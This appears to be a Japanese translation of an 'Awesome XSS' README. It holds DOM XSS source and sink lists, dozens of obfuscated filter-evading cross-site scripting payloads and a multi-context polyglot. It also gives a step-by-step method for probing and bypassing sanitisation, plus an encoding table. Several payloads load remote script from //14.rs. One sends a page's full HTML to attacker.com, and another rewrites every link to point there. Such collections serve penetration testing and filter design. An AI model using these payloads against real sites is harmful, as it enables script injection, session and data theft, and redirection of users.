このリポジトリはAwesome XSSリソースのコレクションです。コントリビューションは歓迎です。Issueとして提出してください。
Jack Masa氏による美しいXSSマインドマップはこちら
VulnerableNot vulnerableSource: 外部（信頼できない）ソースによって制御される可能性のある入力。
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
Sink: 脆弱性につながる可能性のある危険なメソッド。ここではDOMベースのXSS。
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
このシンクとソースの包括的なリストはdomxsswikiから引用しています。
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javascript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--` --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
x
<svg onload=write()>
私が作成した、20以上のコンテキストを突破できるXSSポリグロットです：
%0ajavascript:`/*\"/*--><svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
仕組みの解説はこちら
検出されにくいイベントハンドラ
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
よく使うHTMLタグ
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
ケース: <tag>You searched for $input. </tag>
<svg onload=alert()>
</tag><svg onload=alert()>
ケース: <tag attribute="$input">
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
ケース: <script> var new something = '$input'; </script>
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
そう、alertはメジャーすぎるのでconfirmを使います。
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
i.href = "https://attacker.com";
});
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
ここまでで何も機能しない場合は、Awesome Bypassingセクションを参照してください。
まず、d3vのような無害な文字列を入力し、ソースコードを確認して、リフレクションの数とコンテキストを把握します。
次に属性コンテキストの場合、x"d3vを入力してダブルクォート（"）がフィルタリングされるか確認します。x"d3vに変換される場合、出力は適切にエスケープされている可能性が高いです。その場合は、x'd3vを入力してシングルクォート（'）でも同様に試します。x'に変換されるなら、もう打つ手がありません。試せるのはエンコーディングだけです。
クォートがフィルタリングされていない場合は、Awesome Context Breakingセクションのペイロードをそのまま試せます。
JavaScriptコンテキストの場合、どのクォートが使われているか確認します。例えば以下のようにしている場合です。
variable = 'value' or variable = "value"
ここで、シングルクォート（'）が使われているとします。その場合はx'd3vを入力します。x\'d3vに変換される場合、プローブにバックスラッシュを追加してバックスラッシュ（\）自体をエスケープしてみます。つまりx\'d3vです。それが機能したら、次のペイロードを使用します：
\'-alert()//
しかしx\\\'d3vに変換される場合は、次の方法でスクリプトタグ自体を閉じることだけが試せます：
</script><svg onload=alert()>
単純なHTMLコンテキストの場合、プローブはx<d3vです。x>d3vに変換される場合は、適切なサニタイズが行われています。そのままリフレクションされる場合は、ダミータグを入力して潜在的なフィルタを確認します。私がよく使うダミータグはx<xxx>です。何らかの形で除去・変更される場合、フィルタが<と>のペアを探しているということです。これは次のように簡単にバイパスできます：
<svg onload=alert()//
またはこちら（すべてのケースで機能するとは限りません）：
<svg onload=alert()
ダミータグがそのままソースコードに残る場合は、以下のいずれかのペイロードを使用します：
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
注: これらのペイロードはどれもシングルクォート（'）もダブルクォート（"）も使用しません。
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
<svg/onload=confirm()>
<svg onload=confirm()>
<script>confirm()</script>
<svg onload=confirm()//
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
</ScRipT>
</script
</script/>
</script x>
http(s)://は//、/\\、\\に短縮できます。document.cookieはcookieに短縮できます。他のDOMオブジェクトにも同様に適用されます。alert('XSS')と書くのをやめてalert()と書きましょう。>の代わりに//を使用できます。confirmが最も検出されにくいポップアップ関数だと分かりました。alertの使用はやめましょう。<script src="//14.rs">の代わりに<script src=//14.rs>を使用できます。特に記載がない限り、すべてのペイロードは私が作成したものです。
| HTML | 文字 | Numeric | 説明 | Hex | CSS (ISO) | JS (Octal) | URL |
|---|
" | " | " | 引用符 | u+0022 | \0022 | \42 | %22 |
# | # | # | 番号記号 | u+0023 | \0023 | \43 | %23 |
$ | $ | $ | ドル記号 | u+0024 | \0024 | \44 | %24 |
% | % | % | パーセント記号 | u+0025 | \0025 | \45 | %25 |
& | & | & | アンパサンド | u+0026 | \0026 | \46 | %26 |
' | ' | ' | アポストロフィ | u+0027 | \0027 | \47 | %27 |
( | ( | ( | 左括弧 | u+0028 | \0028 | \50 | %28 |
) | ) | ) | 右括弧 | u+0029 | \0029 | \51 | %29 |
* | * | * | アスタリスク | u+002A | \002a | \52 | %2A |
+ | + | + | プラス記号 | u+002B | \002b | \53 | %2B |
, | , | , | カンマ | u+002C | \002c | \54 | %2C |
− | - | - | ハイフンマイナス | u+002D | \002d | \55 | %2D |
. | . | . | 終止符; ピリオド | u+002E | \002e | \56 | %2E |
/ | / | / | ソリダス; スラッシュ | u+002F | \002f | \57 | %2F |
: | : | : | コロン | u+003A | \003a | \72 | %3A |
; | ; | ; | セミコロン | u+003B | \003b | \73 | %3B |
< | < | < | 小なり | u+003C | \003c | \74 | %3C |
= | = | = | 等号 | u+003D | \003d | \75 | %3D |
> | > | > | 大なり記号 | u+003E | \003e | \76 | %3E |
? | ? | ? | 疑問符 | u+003F | \003f | \77 | %3F |
@ | @ | @ | アットマーク; 単価記号 | u+0040 | \0040 | \100 | %40 |
[ | [ | [ | 左角括弧 | u+005B | \005b | \133 | %5B |
\ | \ | \ | バックスラッシュ | u+005C | \005c | \134 | %5C |
] | ] | ] | 右角括弧 | u+005D | \005d | \135 | %5D |
^ | ^ | ^ | サーカムフレックスアクセント | u+005E | \005e | \136 | %5E |
_ | _ | _ | 下線 | u+005F | \005f | \137 | %5F |
` | ` | ` | グレイヴ・アクセント | u+0060 | \0060 | \u0060 | %60 |
{ | { | { | 左波括弧 | u+007b | \007b | \173 | %7b |
| | | | | | 縦棒 | u+007c | \007c | \174 | %7c |
} | } | } | 右波括弧 | u+007d | \007d | \175 | %7d |
<script src=//14.rs>